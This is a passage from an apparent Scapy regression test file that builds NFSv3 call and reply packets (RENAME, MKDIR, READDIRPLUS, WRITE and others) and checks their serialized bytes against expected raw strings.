name_from=Object_Name(\n        length=9,\n        _name='NAME_FROM',\n        fill='\\x00\\x00\\x00'\n    ),\n    dir_to=File_Object(\n        length=6,\n        fh='DIR_TO',\n        fill='\\x00\\x00'\n    ),\n    name_to=Object_Name(\n        length=7,\n        _name='NAME_TO',\n        fill='\\x00'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x08DIR_FROM\\x00\\x00\\x00\\tNAME_FROM\\x00\\x00\\x00\\x00\\x00\\x00\\x06DIR_TO\\x00\\x00\\x00\\x00\\x00\\x07NAME_TO\\x00'\n\npkt = LINK_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    link_dir=File_Object(\n        length=8,\n        fh='LINK_DIR'\n    ),\n    link_name=Object_Name(\n        length=9,\n        _name='LINK_NAME',\n        fill='\\x00\\x00\\x00'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x08LINK_DIR\\x00\\x00\\x00\\tLINK_NAME\\x00\\x00\\x00'\n\npkt = RMDIR_Call(\n    dir=File_Object(\n        length=3,\n        fh='DIR',\n        fill='\\x00'\n    ),\n    filename=Object_Name(\n        length=4,\n        _name='File'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x03DIR\\x00\\x00\\x00\\x00\\x04File'\n\npkt = READLINK_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file'\n\npkt = READ_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    offset=0xffffffffffffffff,\n    count=0xaaaaaaaa\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa'\n\npkt = MKDIR_Call(\n    dir=File_Object(\n        length=3,\n        fh='DIR',\n        fill='\\x00'\n    ),\n    dir_name=Object_Name(\n        length=4,\n        _name='DIR_NAME'\n    ),\n    attributes=Sattr3(\n        set_mode='SET', mode=0o755,\n        set_uid='SET', uid=1,\n        set_gid='SET', gid=1,\n        set_size='SET', size=0xffffffffffffffff,\n        set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff,\n        set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x03DIR\\x00\\x00\\x00\\x00\\x04DIR_NAME\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x02\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x02\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'\n\npkt = SYMLINK_Call(\n    dir=File_Object(\n        length=3,\n        fh='DIR',\n        fill='\\x00'\n    ),\n    dir_name=Object_Name(\n        length=4,\n        _name='DIR_NAME'\n    ),\n    attributes=Sattr3(\n        set_mode='SET', mode=0o755,\n        set_uid='SET', uid=1,\n        set_gid='SET', gid=1,\n        set_size='SET', size=0xffffffffffffffff,\n        set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff,\n        set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa\n    ),\n    link_name=Object_Name(\n        length=9,\n        _name='LINK_NAME',\n        fill='\\x00\\x00\\x00'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x03DIR\\x00\\x00\\x00\\x00\\x04DIR_NAME\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x02\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x02\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\tLINK_NAME\\x00\\x00\\x00'\n\n\n= Built NFS Replies vs Raw Strings\n\npkt = GETATTR_Reply(\n    status=0,\n    attributes=Fattr3(\n        type='NF3DIR',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = LOOKUP_Reply(\n    status='NFS3_OK',\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    af_file=1,\n    file_attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    af_dir=1,\n    dir_attributes=Fattr3(\n        type='NF3DIR',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = FSINFO_Reply(\n    status=0,\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    rtmax=1,\n    rtpref=2,\n    rtmult=3,\n    wtmax=4,\n    wtpref=5,\n    wtmult=6,\n    dtpref=7,\n    maxfilesize=0xa,\n    timedelta_s=0xb,\n    timedelta_ns=0xc,\n    properties=0xd\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\r'\n\npkt = PATHCONF_Reply(\n    status=0,\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3DIR',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    linkmax=1,\n    name_max=2,\n    no_trunc='YES',\n    chown_restricted='YES',\n    case_insensitive='YES',\n    case_preserving='YES'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01'\n\npkt = ACCESS_Reply(\n    status=0,\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    access_rights=10\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\n'\n\npkt = READDIRPLUS_Reply(status=0, attributes_follow=1,\n                        attributes=Fattr3(type='NF3DIR', mode=0o755, nlink=1, uid=2,\n                                          gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa,\n                                          rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc,\n                                          atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff,\n                                          mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333),\n                        verifier=0xa, value_follows=1,\n                        files=[File_From_Dir_Plus(fileid=0xa,\n                                                  filename=Object_Name(length=5, _name='file1', fill='\\x00\\x00\\x00'),\n                                                  cookie=0xb, attributes_follow=1,\n                                                  attributes=Fattr3(type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3,\n                                                                    size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa,\n                                                                    rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb,\n                                                                    fileid=0xcccccccccccccccc, atime_s=0xdddddddd,\n                                                                    atime_ns=0xeeeeeeee, mtime_s=0xffffffff,\n                                                                    mtime_ns=0x11111111, ctime_s=0x22222222,\n                                                                    ctime_ns=0x33333333),\n                                                  handle_follows=1, filehandle=File_Object(length=3, fh='fh1', fill='\\x00'),\n                                                  value_follows=1),\n                        File_From_Dir_Plus(fileid=0xb, filename=Object_Name(length=5, _name='file2', fill='\\x00\\x00\\x00'),\n                        cookie=0xc, attributes_follow=1, attributes=Fattr3(type='NF3REG', mode=0o755, nlink=1, uid=2,\n                        gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb,\n                        fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff,\n                        mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333), handle_follows=1,\n                        filehandle=File_Object(length=3, fh='fh2', fill='\\x00'), value_follows=0)\n                        ], eof=1)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x05file1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03fh1\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x05file2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03fh2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\npkt = WRITE_Reply(\n    status=0,\n    af_before=1,\n    attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after=1,\n    attributes_after=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    count=0xffffffff,\n    committed='STABLE',\n    verifier=0xffffffffffffffff\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff'\n\npkt = COMMIT_Reply(\n    status=0,\n    af_before=1,\n    attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after=1,\n    attributes_after=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    verifier=0xffffffffffffffff\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff'\n\npkt = SETATTR_Reply(\n    status=0,\n    af_before=1,\n    attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after=1,\n    attributes_after=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = FSSTAT_Reply(\n    status=0,\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    tbytes=1,\n    fbytes=2,\n    abytes=3,\n    tfiles=4,\n    afiles=5,\n    invarsec=6\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x06'\n\npkt =  CREATE_Reply(\n    status=0,\n    handle_follows=1,\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    attributes_follow=1,\n    attributes=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    ),\n    af_before=1,\n    dir_attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after=1,\n    dir_attributes_after=Fattr3(\n        type='NF3REG',\n        mode=0o755,\n        nlink=1,\n        uid=2,\n        gid=3,\n        size=0xffffffffffffffff,\n        used=0xaaaaaaaaaaaaaaaa,\n        rdev=[4, 5],\n        fsid=0xbbbbbbbbbbbbbbbb,\n        fileid=0xcccccccccccccccc,\n        atime_s=0xdddddddd,\n        atime_ns=0xeeeeeeee,\n        mtime_s=0xffffffff,\n        mtime_ns=0x11111111,\n        ctime_s=0x22222222,\n        ctime_ns=0x33333333\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xdd\\xdd\\xdd\\xdd\\xee\\xee\\xee\\xee\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\"\"\"\"3333'\n\npkt = REMOVE_Reply(\n    status=0,\n    af_before=1,\n    attributes_before=WCC_Attr(\n        size=0xa,\n        mtime_s=0xffffffff,\n        mtime_ns=0xeeeeeeee,\n        ctime_s=0xdddddddd,\n        ctime_ns=0xcccccccc\n    ),\n    af_after=1,\n    attributes_after=Fattr3(\n        type='NF3REG',\n        